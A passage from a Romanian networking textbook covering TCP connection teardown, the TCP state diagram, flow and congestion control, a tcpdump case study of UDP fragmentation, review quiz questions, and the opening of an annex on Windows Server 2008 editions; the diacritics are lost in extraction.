Unreachable) sau poate s nu ntreprind nicio aciune (al doilea scenariu de eec). Un astfel
de firewall este folosit pentru protejarea reelelor locale. Astfel, cea mai mare parte a cererilor
de conexiune din exterior spre reeaua local sunt filtrate. Acest lucru se realizeaz prin
respingerea segmentelor care conin activat flag-ul SYN dar nu conin activat flag-ul ACK; flag-
ul ACK nu trebuie sa fie activ pentru a face deosebirea ntre segmentul de iniiere de
conexiune i cel de rspuns la segmentul de iniiere de conexiune.
11.3.3.3 Transferul de date
Dup cum s-a precizat anterior, la nivelul interfeei socket conexiunea este stabilit n
momentul n care socketul server se gsete n starea listening dup apelul accept, iar clientul
iniiaz conexiunea folosind connect. n momentul n care conexiunea este realizat
(protocolul de iniiere a conexiunii se ncheie cu succes), apelul accept ntoarce descriptorul
unui nou socket. Acest nou socket este cel care va coordona transferul de date ntre client i
server. Cu alte cuvinte, socketul aflat n starea listening este utilizat numai pentru ascultarea
de cereri de iniiere de conexiune, urmnd ca, ulterior stabilirii conexiunii, transferul de date
s fie intermediat de un alt socket. O alt conexiune presupune crearea unui nou socket.
Fiecare socket nou creat va fi folosi acelai port ca i socketul listener. Deosebirea ntre sockei
este dat de socketul client. n funcie de adresa IP i portul socketului peer se realizeaz
multiplexarea conexiunii. Sistemul de operare va menine o asociere ntre conexiunea
realizat de ctre server cu un client i socketul care realizeaz comunicaia efectiva pentru a
putea transmite informaiile ctre/de la acesta din urm.
Majoritatea serverelor limiteaz numrul de conexiuni active la un moment dat. Un numr
mare de conexiuni nseamn un numr mare de sockei care consum resursele sistemului.
Deschiderea unui numr mare de conexiuni este un atac tipic Denial of Service (DoS). Un astfel
de atac este SYN flood care deschide un numr mare de conexiuni pe un sistem.
Transferul de date folosind interfaa socket se realizeaz folosind apelurile send i recv
(sau read i write), ca mai jos:
/* server dupa accept */
read (new_sock, buffer, 1000); /* se citesc 1000 octeti */

write (new_sock, buffer, 1000); /* se scriu 1000 octeti */

/* client dupa connect */
write (client_sock, buffer, 1000); /* se scriu 1000 octeti */

read (client_sock, buffer, 1000); /* se citesc 1000 octeti */
Pentru transmiterea i recepia a cte 1000 octei att de ctre client ct i de ctre
server, pachetele transmise sunt afiate de tcpdump ca mai jos:
IP 127.0.0.1.3456 > 127.0.0.1.33552: P 1272511013:1272512013(1000) ack 1265612124 win
32767 <nop,nop,timestamp 78548047 78548047>
IP 127.0.0.1.33552 > 127.0.0.1.3456: . ack 1272512013 win 32767 <nop,nop,timestamp
78548047 78548047>
IP 127.0.0.1.33552 > 127.0.0.1.3456: P 1265612124:1265613124(1000) ack 1272512013 win
32767 <nop,nop,timestamp 78548048 78548047>
IP 127.0.0.1.3456 > 127.0.0.1.33552: . ack 1265613124 win 32767 <nop,nop,timestamp
78548048 78548048>
389 | P r o t o c o a l e d e n i v e l t r a n s p o r t

Primul pachet reprezint transmiterea a 1000 de octei de la server ctre client. Se
observ prezena flag-ului PSH, folosit pentru a transmite datele ct mai curnd posibil ctre
aplicaie. Datele au numerele de secven cuprinse ntre 1272511013 i 1272512013; limita
superioar este de fapt numrul de secven ateptat ca numr de confirmare n pachetul de
rspuns. Al doilea pachet este pachetul de rspuns trimis de ctre client serverului; se observ
prezena flag-ului ACK i folosirea numrului de confirmare ateptat, adic 1272512013.
Urmtoarele dou pachete reprezint acelai lucru ca mai sus: transmiterea a 1000 de
octei i primirea unui pachet de rspuns, ns direcia este schimbat.
11.3.3.4 Terminarea unei conexiuni TCP
Pentru terminarea unei conexini TCP sunt necesare patru segmente TCP pentru a nchide
complet o conexiune. Acesta este un protocol four-way handshake. Sunt necesare patru
segmente deoarece TCP este un protocol full-duplex, nsemnnd c fiecare capt trebuie nchis
independent. Pentru nchiderea unui capt al conexiunii se transmite un segment cu flag-ul
FIN activat, iar cellalt capt i rspunde cu un segment de confirmare (flag-ul ACK activat).
Drept urmare, o nchidere complet a unei conexiuni TCP necesit o pereche de segmente FIN
i ACK de la fiecare capt. Protocolul de terminare este prezentat mai jos:

11-4: Terminarea unei conexiuni TCP
Cnd unul din capete (clientul sau serverul) dorete nchiderea conexiunii, transmite un
segment care conine activ flag-ul FIN iar cellalt capt i rspunde cu un segment ACK,
urmnd ca n etapa urmtoare rolurile s se inverseze.
Mai jos este prezentat un exemplu de captur a pachetelor utilizate pentru ncheierea
unei conexiuni:
IP 127.0.0.1.32929 > 127.0.0.1.1234: F 3127227423:3127227423(0) ack 3134999211 win 32767
<nop,nop,timestamp 21011608 21011608>
IP 127.0.0.1.1234 > 127.0.0.1.32929: . ack 3127227424 win 32767 <nop,nop,timestamp
21011609 21011608>
390 | R e e l e L o c a l e

IP 127.0.0.1.1234 > 127.0.0.1.32929: F 3134999211:3134999211(0) ack 3127227424 win 32767
<nop,nop,timestamp 21011630 21011608>
IP 127.0.0.1.32929 > 127.0.0.1.1234: . ack 3134999212 win 32767 <nop,nop,timestamp
21011630 21011630>
Se observ c exist dou perechi de pachete de terminare, aa cum era de ateptat.
Prima pereche reprezint cererea de ncheiere de conexiune transmis de client serverului i
pachetul de rspuns sosit de la server; cea de-a doua pereche reprezint cererea de conexiune
transmis de ctre server clientului i rspunsul acestuia din urma. Pachetul de ncheiere de
conexiune conine activat flag-ul FIN (simbolul F denot prezena flag-ului FIN). Primul pachet
de ncheiere are numrul de secven 3127227423, iar pachetul de rspuns are numrul de
confirmare 3127227423+1. La fel se ntmpl i pentru cea de-a doua pereche de pachete de
ncheiere a conexiunii.
Este posibil s se foloseasc un protocol de terminare three-way handshake, n care, dup
ce un capt trimite un segment FIN, cellalt capt i rspunde cu un segment FIN & ACK, iar
primul capt rspunde cu ACK. Aceasta este cea mai obinuit metod de ncheiere a unei
conexiuni.
De asemenea, este posibil ca cele dou capete s transmit simultan segmente FIN, dup
care ambele trebuie doar s transmit segmente de confirmare (ACK). Acesta poate fi
considerat un protocol de nchidere two-way handshake, deoarece secvena FIN/ACK este
executat n paralel pentru ambele direcii.
La fel ca la deschiderea unei conexiuni, exist un timeout n care se poate primi segmentul
de confirmare. Daca acesta nu este primit, se realizeaz retransmiterea segmentului ce
conine activat flag-ul FIN. Totodat, dup transmiterea segmentului de confirmare, socketul
trece ntr-o stare special (tip wait) n care ateapt un timp care s asigure ajungerea
segmentului de confirmare la destinaie. Dac n acest timp primete un nou segment FIN
(semn c segmentul de confirmare nu a ajuns la destinaie), transmite un nou segment i
repornete timer-ul. Altfel, dup expirarea timer-ului, conexiunea se consider complet
ncheiat i orice resurse asociate socket-ului sunt eliberate.
O conexiune se poate afla n starea half-open, n care un capt este nchis, dar cellalt
nu. Captul nchis nu poate s mai transmit date, dar poate primi. Situaia este invers pentru
captul opus al conexiunii. Comunicaia este de tip simplex.
Interfaa socket furnizeaz aplicaiei apelurile close i shutdown pentru terminarea unei
conexiuni TCP. n vreme ce apelul close nchide complet conexiunea, apelul shutdown poate
menine conexiunea n starea "half-open. Cteva exemple de utilizare a acestor apeluri sunt
prezentate mai jos:
/* inchiderea conexiunii */
close (sock);

/* inchiderea capatului de scriere; se pot citi date din socket, dar nu scrie */
shutdown (sock, SHUT_WR); /* socket-ul este half-open */

/* inchiderea capatului de citire; se pot scrie date in socket, dar nu citi */
shutdown (sock, SHUT_RD); /* socket-ul este half-open */

/* inchiderea conexiunii (echivalent close) */
shutdown (sock, SHUT_RDWR);
Resetarea conexiunii
Exist situaii n care TCP dorete resetarea conexiunii - de exemplu, dac se solicit
iniierea unei conexiuni la un port inexistent. n acest caz, cealalt parte va trimite un segment
cu bitul RST setat pentru a anula solicitarea. O alt situaie este atunci cnd se constat c
cellalt capt al conexiunii nu rspunde un anumit timp (timeout).
391 | P r o t o c o a l e d e n i v e l t r a n s p o r t

11.3.3.5 Diagrama de stri
Toate evenimentele ce au loc n timpul stabilirii conexiunii, transferului i nchiderii
conexiunii pot fi rezumate printr-un automat finit cunoscut sub numele de diagram de stri.
Dup cum sugereaz chiar numele, este o main cu un numr limitat de stri. O stare este
pstrat pn n momentul apariiei unui eveniment, moment n care se poate trece n alt
stare i/sau efectua o aciune.
Aceste stri posibile sunt cele din tabelul de mai jos (denumirile sunt asemntoare cu
cele utilizate de netstat).
Stare Descriere
CLOSED Nu exist conexiune.
LISTEN Serverul ateapt cereri de la clieni.
SYN_SENT Clientul a trimis cererea de iniiere a conexiunii. Se ateapt confirmarea.
SYN_RCVD S-a primit o cerere de iniiere conexiune.
ESTABLISHED S-a stabilit conexiunea.
FIN_WAIT_1 Aplicaia a solicitat nchiderea conexiunii.
FIN_WAIT_2 Serverul a acceptat nchiderea conexiunii.
CLOSING Ambele pri solicit simultan nchiderea conexiunii.
TIME_WAIT Conexiune nchis, dar se atept ca pachetele retransmise s dispar.
CLOSE_WAIT Serverul ateapt nchiderea conexiunii dinspre partea aplicaiei.
LAST_ACK Serverul a nchis conexiunea i ateapt ultima confirmare.
11-5: Strile diagramei de stri TCP
n diagrama ilustrat n figura de mai jos se pot observa 3 tipuri de tranziii ntre cele 11
stri: tranziii ce corespund unei funcionri normale pentru client (linii normale, continue),
pentru server (linii normale, ntrerupte) i tranziii pentru situaii nestandard (linii subiri,
continue).
O comportare normal pentru client presupune parcurgerea urmtoarelor stri: CLOSED,
SYN_SENT, ESTABLISHED, FIN_WAIT_1, FIN_WAIT_2, TIME_WAIT:
Iniial clientul TCP se afl n starea CLOSED.
Ateptnd n starea CLOSED clientul poate primi de la aplicaie o cerere de iniiere activ a unei
conexiuni. Trimite un segment SYN i trece n starea SYN_SENT.
n starea SYN_SENT clientul ateapt de la server un segment ACK+SYN, dup care trimite un
ACK i trece n starea ESTABLISHED. Din acest moment poate ncepe transferul efectiv de date.
Clientul va rmne n aceast stare ct timp are de trimis/primit date.
Aflat n aceast stare clientul TCP poate primi din partea aplicaiei o cerere de nchidere a
conexiunii. n acest caz va trimite un segment FIN i trece n starea FIN_WAIT_1.
n aceast stare clientul ateapt ACK din partea serverului. Dup ce-l primete, conexiunea
ntr-un sens se va nchide i clientul trece n starea FIN_WAIT_2.
Starea FIN_WAIT_2 dureaz pn cnd primete cererea de nchidere a conexiunii, FIN, din
partea serverului. Trimite ACK i va trece n starea TIME_WAIT.
n aceast stare se va porni un timer cu valoarea setat la dublul timpului de via maxim
estimat pentru un segment, MSL (Maximum Segment Lifetime). Acest timer permite
retransmiterea ACK-ului n cazul n care acesta se pierde (cellalt capt va da timeout i va
retransmite segmentul FIN). n tot acest timp cei doi sockei (de la client i server) nu vor putea
fi reutilizai. Totodat segmentele ntrziate care sosesc n aceast perioad sunt ignorate.
Dup expirarea acestui timer clientul revine n starea iniial CLOSED.

392 | R e e l e L o c a l e


11-6: Diagrama de stri pentru TCP
Din punctul de vedere al unui server o comportare standard parcurge urmtoarele stri:
CLOSED, LISTEN, SYN_RCVD, ESTABLISHED, CLOSE_WAIT i LAST_ACK:
Iniial serverul TCP se afl n starea CLOSED.
n aceast stare poate primi de la aplicaia server o cerere de iniiere pasiv i trece n starea
LISTEN.
Aflat n starea LISTEN serverul TCP poate recepiona un segment SYN de la un client TCP. n
acest caz va trimite ACK+SYN i va trece n starea SYN_RCVD.
n aceast stare serverul ateapt primirea confirmrii de la client, moment n care conexiunea
e stabilit n ambele sensuri i se poate ncepe transferul de date (starea ESTABLISHED).
Clientul TCP poate solicita nchiderea conexiunii trimind un segment FIN ctre server. n acest
caz serverul TCP trimite confirmarea i trece n starea CLOSE_WAIT.
n aceast stare serverul ateapt s primeasc din partea programului server nchiderea
conexiunii, moment n care va trimite ctre client un segment FIN i trece n starea LAST_ACK.
Serverul ateapt primirea ultimei confirmri de la client dup care revine n starea CLOSED.
Att serverul ct i clientul TCP se pot afla n oricare din cele 11 stri ale diagramei.
11.3.4 Controlul fluxului
Dac nc de la nceputul proiectrii protocolului s-a reuit stabilirea formatului unui
segment TCP i a modului n care trebuie s se fac nchiderea i deschiderea unei conexiuni,
nu acelai lucru se poate spune i despre modul n care ar trebui s se realizeze controlul
fluxului. Faptul c TCP-ul a rmas neschimbat din 1989 (cnd RFC-ul 2581 a specificat clar
modul n care trebuie s se comporte o implementare de TCP), rmne un rezultat important
n domeniul reelelor de calculatoare.
393 | P r o t o c o a l e d e n i v e l t r a n s p o r t

n cele ce urmeaz noiunea de control al fluxului se refer la totalitatea algoritmilor care
permit atingerea unei viteze de transfer punct-la-punct ct mai mare pentru toate conexiunile
existente. n principal aceti algoritmi stabilesc modul n care segmentele i confirmrile
trebuie trimise i aciunile care trebuie executate n situaiile n care rspunsurile ateptate de
la cellalt capt ntrzie s soseasc. O parte dintre algoritmii cei mai utilizai sunt prezentai
mai jos.
11.3.4.1 ntrzierea confirmrilor
O modalitate simpl de generare a confirmrilor este de a trimite cte una pentru fiecare
segment primit. Aceast politic prezint avantajul de a face comunicaia self-clocking
(folosindu-se ceasul intern) ns este ineficient dac segmentele care nu conin dect
confirmri sunt urmate la scurt distan (cteva zeci de milisecunde) de segmente ce conin
date efective. Pentru a evita aceast situaie se procedeaz la ntrzierea segmentelor care
conin doar confirmri (valoarea uzual fiind de 200ms). Aceast strategie face posibil ca un
rspuns generat de primirea unor date s plece spre cellalt capt n acelai segment cu
confirmarea.
Deoarece este dificil s fie meninute timere pentru fiecare confirmare, diferena de
200ms este calculat de un timer global la nivel de sistem. Din acest motiv, modul efectiv de
comportare poate fi descris astfel: cnd un segment nu conine dect o confirmare, este
adugat ntr-o coad ce va fi inspectat de un proces care din 200 n 200 ms trimite tot ce s-a
acumulat n coad.
11.3.4.2 Algoritmul Nagle
Algoritmul propus de John Nagle n RFC 896, ncearc s mbunteasc performanele
exploatnd urmtoarea caracteristic des ntlnit n dialogul dintre dou staii: dac se
ncearc trimiterea unor date de dimensiune mic atunci cnd exist nc date neconfirmate
de partener, acestea sunt depozitate i trimise ntr-un segment mai mare atunci cnd sosete
confirmarea ateptat. n acest fel se poate evita generarea datagramelor mici (tinygrame), n
situaia unei legturi lente. n cazul unei legturi rapide confirmrile vor veni repede i
ntrzierea introdus de algoritm va neglijabil.
Exist ns i cazuri n care acest algoritm duce la deprecierea performanelor: mesajele
scurte generate de micrile mouse-ului n cazul folosirii unui server X Windows sau utilizarea
tastelor care trimit mai mult de un caracter (secvene escape). Pentru a rezolva aceste
inconveniente, API-ul de utilizare a TCP-ului trebuie s ofere o modalitate de a dezactiva acest
algoritm (n sistemele bazate pe sockei exist n acest scop opiunea TCP_NODELAY).
11.3.4.3 Fereastra glisant
Algoritmul implementat de TCP pentru a implementa transferul sigur de date este
cunoscut n teorie sub numele de Go-Back-N. n acest algoritm se utilizeaz numere de
secven pentru a distinge pachetele ntre ele i o coad de pachete (dimensiunea maxim a
cozii o reprezint fereastra) a cror confirmare se ateapt. Pachetele se mpart n patru
categorii:
pachete trimise i pentru care s-a primit confirmare;
pachete trimise i pentru care se ateapt nc confirmarea;
pachete care nu au fost trimise nc dar care nu depesc limitele ferestrei i deci pot fi trimise;
pachete care nc nu au fost trimise i care nici nu vor putea fi trimise dect dup ce au fost
trimise toate pachetele din categoria 3 i s-au primit o parte din confirmrile pachetelor din
categoria 2.
394 | R e e l e L o c a l e

n situaia n care confirmrile pentru pachetele din categoria 2 ntrzie prea mult (un
mecanism de timere informeaz asupra acestui lucru) atunci ele vor fi retransmise. n
versiunea iniial TCP-ul nu permitea dect confirmri pozitive, ceea ce nseamn c
avansarea ferestrei se va opri la segmentele neconfirmate. O modalitate de a evita aceste
situaii va fi prezentat n detaliu n seciunile urmtoare. O soluie foarte radical o constituie
introducerea de confirmri selective. Aceast modific face ca TCP-ul actual s fie un hibrid de
Go-Back-N i Selective Repeat.
Deoarece dimensiunea ferestrei este anunat la fiecare segment, un client lent poate ca
pe msur ce trimite confirmrile s informeze despre progresul nregistrat la livrarea datelor
ctre nivelul aplicaie. Dac datele vin prea repede pentru viteza cu care clientul proceseaz
datele, fereastra se va diminua i chiar nchide (acest lucru se realizeaz anunnd o fereastr
de dimensiune zero).
11.3.4.4 Evitarea congestiei
Dac cei doi parteneri care comunic prelucreaz datele suficient de repede i vor s
transfere un volum mare de date, atunci limitarea de care se vor lovi este cea dat de viteza
reelei. Din cauza modului de funcionare best-effort pe care l ofer IP, atunci cnd canalul de
comunicaie este saturat, o parte din segmentele TCP se pierd. n mod paradoxal att
transmitorul ct i receptorul se pot afla n poziia de a fi primii n detectarea pierderii unui
segment. Unul din indiciile date de transmitor despre pierderea unui segment este, n mod
evident, apariia unui timeout a timer-ului de retransmisie. La nivelul receptorului un indiciu al
posibilei pierderi a unui segment este primirea unor segmente cu date neordonate (out-of-
order). Deoarece TCP n varianta iniial nu permite dect confirmri pozitive, singurul lucru pe
care receptorul l poate face este ca la fiecare segment out-of-order primit s trimit o
confirmare indicnd prin aceasta c la el continu s vin segmente ns cel indicat de numrul
de secven de confirmare lipsete.
Primirea acestor confirmri multiple este al doilea mod n care transmitorul poate afla
de apariia congestiei.
Algoritmul ce trebuie aplicat n momentul n care se detecteaz apariia congestiei este
cunoscut sub numele de evitarea congestiei (congestion avoidance). Principiul care st la
baza acestuia este ca la apariia congestiei fie s se treac la o incrementare liniar a
dimensiunii ferestrei, n cazul n care congestia a fost detectat ca urmare a primirii unor
confirmri identice repetate, fie s se reia algoritmul slow start-ului n cazul n care congestia
s-a detectat prin expirarea unui timer. Implementarea acestui algoritm se bazeaz pe utilizarea
unui nou contor (sstresh) care s indice dimensiunea ferestrei de la care se trece de la
incrementarea exponenial la cea liniar. Algoritmul efectiv este urmtorul:
1. la stabilirea unei noi conexiuni se pleac cu sstresh iniializat la valoarea de 64K i cwnd la
dimensiunea unui segment.
2. trimiterea de segmente se face fr a depi minimul dintre fereastra publicat de partener
(pentru a nu depi capacitatea de procesare a partenerului) i cwnd curent (pentru a nu
depi limita impus de capacitatea reelei).
3. la apariia congestiei sstresh este configurat la jumtatea valorii ferestrei curente (minimul
dintre fereastra anunat de partener i cwnd ns cel puin dimensiunea corespunztoare
pentru dou segmente); n cazul n care congestia a fost detectat prin expirarea unui timer,
cwnd este iniializat cu dimensiunea unui segment.
4. la primirea unei confirmri incrementarea se face n dou moduri, n funcie de relaia n care
se afl cwnd i sstresh:
o cnd cwnd stee mai mic sau egal cu sstresh se face incrementarea exponenial caracteristic slow
start-ului (care de fapt nu este deloc slow, n cazul de fa).
o cnd cwnd este mai mare ca sstresh atunci se face o incrementare cu dimensiunea unui segment.
395 | P r o t o c o a l e d e n i v e l t r a n s p o r t

11.3.4.5 TCP Keepalive Timer
O caracteristic important a TCP este faptul c, dac nivelurile superioare nu comunic
ntre ele pentru o perioad, niciun segment nu se va transfera. Aspectul este natural, de
vreme ce TCP este de fapt un contract cu care cei doi parteneri au fost de acord din momentul
n care au trecut cu succes de faza stabilirii legturii. Dac nivelurile inferioare (reea/IP, fizic)
devin temporar indisponibile ct timp cei doi nu vor s comunice, nu se va perturba n niciun
fel activitatea i acest lucru este acceptabil.
Probleme ncep s apar n momentul n care cei doi doresc s comunice i nivelurile
inferioare nu mai permit acest lucru. Cel care va dori s comunice va detecta ntreruperea
legturii i va nchide conexiunea. Totui, cellalt capt nu este anunat de ncheierea
conexiunii. Legtura va fi n continuare activ i, n general, anumite resurse vor fi rezervate
pentru aceasta.
Rezolvarea acestei situaii este dat de introducerea unei mecanism de sondare a strii
legturii pe baza unui timer (TCP Keepalive Timer) care se declaneaz din dou n dou ore. La
fiecare expirare a timer-ului se trimite un segment fr date care confirm datele primite pn
atunci. Rspunsul care trebuie primit este tot un segment fr date care confirm datele
primite de partener (practic o republicare a strii celor doi parteneri). Dac rspunsul nu este
primit timp de 75 secunde atunci segmentul va fi retransmis. Dac dup 10 astfel de ncercri
nu s-a primit niciun rspuns, conexiunea se va considera terminat i se va anuna nivelul
superior asupra acestui lucru.
Observaii:
dac o staie primete segmente de keepalive despre conexiuni care nu mai sunt active (de
exemplu au fost resetate) atunci va rspunde cu segmente de reset (acesta e un procedeu
standard);
RFC 1122 specific faptul c facilitatea de keepalive trebuie activat n mod explicit.
11.4 Studiu de caz: Fragmentarea pachetelor UDP
ntruct UDP este un serviciu fr conexiune, toate datele pe care le primete de la nivelul
superior sunt ncapsulate ntr-o singur datagram UDP care apoi formeaz un pachet IP. Dac
pachetul IP astfel obinut este prea mare, atunci mecanismele IP de fragmentare l vor sparge
n buci. Exemplul urmtor prezint acest fenomen.
Pe sistemul athos ruleaz un server de UDP pe portul 50007. Pe un alt sistem, frodo, aflat
n reeaua local este rulat un client care poate fi configurat s trimit un pachet UDP de o
anumit lungime. Pentru a putea observa ce se ntmpl pe athos este rulat tcpdump.
Deoarece MTU pentru o reea Ethernet este n general 1500 i antetul IP plus cel UDP
ocup 20 + 8 = 28 octei, o datagram UDP de dimensiune 1472 ar trebui sa fie trimis
nefragmentat. Pentru siguran, folosind clientul de pe athos, s-a trimis mai nti o
datagram UDP cu 1471 octei de date, i apoi nc una cu 1472. Pentru ambele tcpdump a
indicat trimiterea lor fr fragmentare
18:25:56.721144 frodo.noi.33274 > athos.noi.50007: udp 1471 (DF) (ttl 64, id 51481, len 1499)
18:25:59.846764 frodo.noi.33274 > athos.noi.50007: udp 1472 (DF) (ttl 64, id 51793, len 1500)
La o dimensiune de 1473 ar trebui ca trimiterea s genereze dou pachete IP: unul care s
conin primii antetul UDP plus primii 1472 octei de date i nc un pachet IP care conine un
singur octet. Iat ce indic tcpdump-ul:
18:26:05.705813 frodo.noi > athos.noi: udp (frag 36274:1@1480) (ttl 64, len 21)
18:26:05.706116 frodo.noi.33274 > athos.noi.50007: udp 1473 (frag 36274:1480@0+) (ttl
64, len 1500)
Se poate observa c au fost generate dou pachete IP:
396 | R e e l e L o c a l e

primul conine doar un singur octet de date i reprezint ultimul fragment (bitul more
fragments este dezactivat) dintr-o datagram UDP (din antetul IP se poate determina acest
lucru) care a fost spart n buci; deplasamentul octetului primit n datagrama original este
1480;
al doilea pachet este primul fragment din datagrama UDP i conine antetul UDP (din cauza
asta datele efective ocup doar 1480 octei); deplasamentul este 0 i bitul de more
fragments este activat (acest lucru este indicat de semnul + de dup deplasament)
Ambele pachete poart acelai numr de identificare (36274). Acest lucru, mpreun cu
informaiile date de flag-ul more fragments, permite reconstrucia la destinaie a datagramei
UDP originale. O problem a acestui mod de fragmentare este c n cazul pierderii unui
fragment ntreaga datagram va fi compromis i va trebui retrimis n ntregime.
Ce se va ntmpla dac se va ncerca trimiterea unei datagrame UDP suficient de mare
pentru a necesita spargerea n trei buci? Mai jos este reprezentat un transfer de 2973 de
octei:
13:21:08.251495 frodo.noi > athos.noi: udp (frag 23522:1@2960) (ttl 64, len 21)
13:21:08.251795 frodo.noi > athos.noi: udp (frag 23522:1480@1480+) (ttl 64, len 1500)
13:21:08.251935 frodo.noi.32843 > athos.noi.50007: udp 2953 (frag 23522:1480@0+) (ttl
64, len 1500)
Trimiterea n ordine invers este o caracteristic a sistemului de test. O datagram de
dimensiune i mai mare (16273) confirm acest lucru:
13:21:52.266391 frodo.noi > athos.noi: udp (frag 23523:1@16280) (ttl 64, len 21)
13:21:52.266697 frodo.noi > athos.noi: udp (frag 23523:1480@14800+) (ttl 64, len 1500)
13:21:52.266843 frodo.noi > athos.noi: udp (frag 23523:1480@13320+) (ttl 64, len 1500)
13:21:52.266976 frodo.noi > athos.noi: udp (frag 23523:1480@11840+) (ttl 64, len 1500)
13:21:52.267114 frodo.noi > athos.noi: udp (frag 23523:1480@10360+) (ttl 64, len 1500)
13:21:52.267253 frodo.noi > athos.noi: udp (frag 23523:1480@8880+) (ttl 64, len 1500)
13:21:52.267391 frodo.noi > athos.noi: udp (frag 23523:1480@7400+) (ttl 64, len 1500)
13:21:52.267539 frodo.noi > athos.noi: udp (frag 23523:1480@5920+) (ttl 64, len 1500)
13:21:52.267678 frodo.noi > athos.noi: udp (frag 23523:1480@4440+) (ttl 64, len 1500)
13:21:52.267819 frodo.noi > athos.noi: udp (frag 23523:1480@2960+) (ttl 64, len 1500)
13:21:52.267956 frodo.noi > athos.noi: udp (frag 23523:1480@1480+) (ttl 64, len 1500)
13:21:52.268096 frodo.noi.32843 > athos.noi.50007: udp 16273 (frag 23523:1480@0+) (ttl
64, len 1500)
397 | P r o t o c o a l e d e n i v e l t r a n s p o r t

ntrebri
1. Dac la un moment dat a fost recepionat un pachet cu numrul de secven 1024,
ce numr de secven va avea pachetul de confirmare?
1024
1023
1025
1026

2. Suma de control a UDP-ului acoper:
Doar datele.
Doar antetul.
Datele i pseudo-antetul.
ntregul pachet UDP plus un pseudo-antet
Niciuna din variante.

3. Care din urmtoarele reprezint utilizri tipice pentru UDP: (selectai mai multe):
Spanning Tree Protocol.
Remote Procedure Call.
Transferul sigur de mesaje scurte (cteva sute de octei).
Videoconferine.

4. Care din urmtoarele caracteristici aparin TCP-ului (selectai 2):
Garanteaz ajungerea datelor la destinaie.
Overhead-ul este de aproximativ 8 de octeti.
Este orientat conexiune.
Este un serviciu de tip mesaj.

5. Cnd este trimis dimensiunea ferestrei?
O singur dat, la iniierea conexiunii.
O singur dat, la terminarea conexiunii.
n fiecare pachet TCP.

6. Ori de cte ori se dorete modificarea dimeniunii ferestrei.
Care este avantajul oferit de UDP fa de IP?
Niciun avantaj, a fost introdus pentru compatibilitate.
Permite multiplexarea porturilor.
Antetul UDP este mai mic dect cel IP.
mbuntirea substanial a siguranei datelor.

7. Care este comportamentul unui client aflat n starea FIN_WAIT2?
A trimis ctre server un pachet de FIN, solicitnd nchiderea conexiunii.
A primit de la server confirmarea cererii de nchidere a conexiunii.
A primit de la server o cerere de nchidere a conexiunii i a trimis confirmarea.
Un client nu se poate afla n aceast stare ci doar un server.


398 | R e e l e L o c a l e

8. Ce se ntmpl dac conexiunea fizic ntre server i client a fost temporar
compromis ntr-un moment n care serverul i clientul nu transferau date ntre ei?
Conexiunea TCP este compromis i se va trebui iniiat una nou.
Conexiunea TCP este meninut deoarece cele dou maini nu au transferat date.
Conexiunea TCP se pierde, dar nu datorit pierderii temporare a conectivitii fizice, ci
datorit timeout-ului.
Conexiunea TCP este practic meninut deoarece este refcut automat de nivele
inferioare.

9. Presupunnd ca nu exist probleme la comunicaia ntre un client i un server TCP,
ce bii vor fi activi n cadrul mesajului de rspuns al serverului dup ce clientul a
emis un mesaj de iniiere de conexiune (SYN)?
SYN, FIN
ACK, FIN
SYN, ACK
ACK

10. Care este comportamentul unui client TCP care dorete ncheierea comunicaiei cu
un server TCP?
nchide conexiunea i trece n starea CLOSED
transmite un mesaj cu cmpul de control FIN setat i trece n starea CLOSED
transmite un mesaj cu bitul FIN activ i trece n starea FIN_WAIT1, unde ateapt un
mesaj cu bitul ACK activ de la server
transmite un mesaj cu bitul FIN activ i trece n starea FIN_WAIT1, unde ateapt un
mesaj cu biii FIN i ACK activi de la server

399 | P r o t o c o a l e d e n i v e l t r a n s p o r t

12 Anexe
12.1 Anexa 1: Instalare Windows Server 2008
12.1.1 Versiuni
Microsoft Windows Server 2008 a ieit pe pia n mai multe variante, orientate spre a
acoperi o gam ct mai larg de utilizatori, infrastructuri i tehnologii. n cele ce urmeaz, vor
fi prezentate variantele sub care Windows Server 2008 este disponibil la momentul scrierii
acestei cri:
Windows Server 2008 Web Edition: Conceput ca o simpl platform IIS (Internet Information
Services) capabil de a gzdui pagini i aplicaii web, oferind suport pentru servicii XML
1

(eXtensible Markup Language), inclusiv ASP
2
(Active Server Pages) i platforma .NET
3
.
Windows Server 2008 Standard Edition: Conceput pentru mediul SMB-uri (Small and Medium
Business); suport partajarea fiierelor i a imprimantelor n reea i poate lucra cu pn la 4
procesoare i 4 GB RAM.
Windows Server 2008 Datacenter Edition: Conceput pentru infrastructuri cu cerine mari de
securitate i redundan i pentru sisteme cu putere mare de procesare. Suport pn la 64 de
procesoare i 2 TB RAM n varianta pe 64 de bii.
Windows Server 2008 Enterprise Edition: Adresat mediului medium to large business. Suport
pn la 8 procesoare i 64 GB RAM (pe 32 de bii) i ofer servicii avansate de clustering
4
i
virtualizare
5
.
Windows Storage Server 2008: Conceput ca o platform specializat pentru administrarea NAS
(Network Attached Storage) i optimizat pentru serviciile de partajare de fiiere i imprimante
n medii SAN (Storage Area Network)
6
.
Windows Server 2008 for Itanium-Based Systems: Procesoarele Intel Itanium pe 64 de bii
necesit aceast versiune particular de Windows Server 2008 pe sistemele pe care sunt
instalate.
Windows HPC Server 2008: Optimizat pentru sisteme HPC (High Performance Computing).
Poate scala pn la cteva mii de noduri de procesare i ofer metode avansate de
monitorizare a sistemelor. De asemenea, este specializat n programarea i distribuirea job-
urilor de procesare, putnd comunica deopotriv cu platforme HPC bazate pe Linux.
Windows Server 2008 Standard Without Hyper-V
Windows Server 2008 Enterprise Without Hyper-V
Windows Server 2008 Datacenter Without Hyper-V
Hyper-V
7
reprezint un sistem de virtualizare bazat pe un hypervisor, pentru sisteme x64.
Varianta final a lui Hyper-V a fost introdus n distribuiile de Windows Server 2008 la
sfritul lui iunie 2008. nainte de lansare a purtat numele de cod Viridian i a circulat i sub
denumirea de Windows Server Virtualization.
Un hypervisor este o component a unei platforme de virtualizare, denumit i Virtual
Machine Monitor care permite rularea mai multor sisteme de operare pe acelasi calculator,
simultan.

1
http://www.w3.org/XML/
2
http://www.asp.net/
3
http://www.microsoft.com/NET/
4
http://en.wikipedia.org/wiki/Computer_cluster
5
http://en.wikipedia.org/wiki/Virtualization
6
http://en.wikipedia.org/wiki/Storage_area_network
7
http://www.microsoft.com/windowsserver2008/en/us/hyperv.aspx
400 | R e e l e L o c a l e

Pentru meninerea compatibilitii hardware, versiunile de Windows Server 2008 sunt
disponibile att n versiuni pe 32 de bii ct i pe 64 de bii.
Versiunea folosit la scrierea acestei cri i pe care se va exemplifica instalarea i
configurarea de servicii este Windows Server 2008 Standard Edition, varianta pe 32 de bii.
n momentul de fa, prin intermediul MSDNAA (Microsoft Developers Network Academic
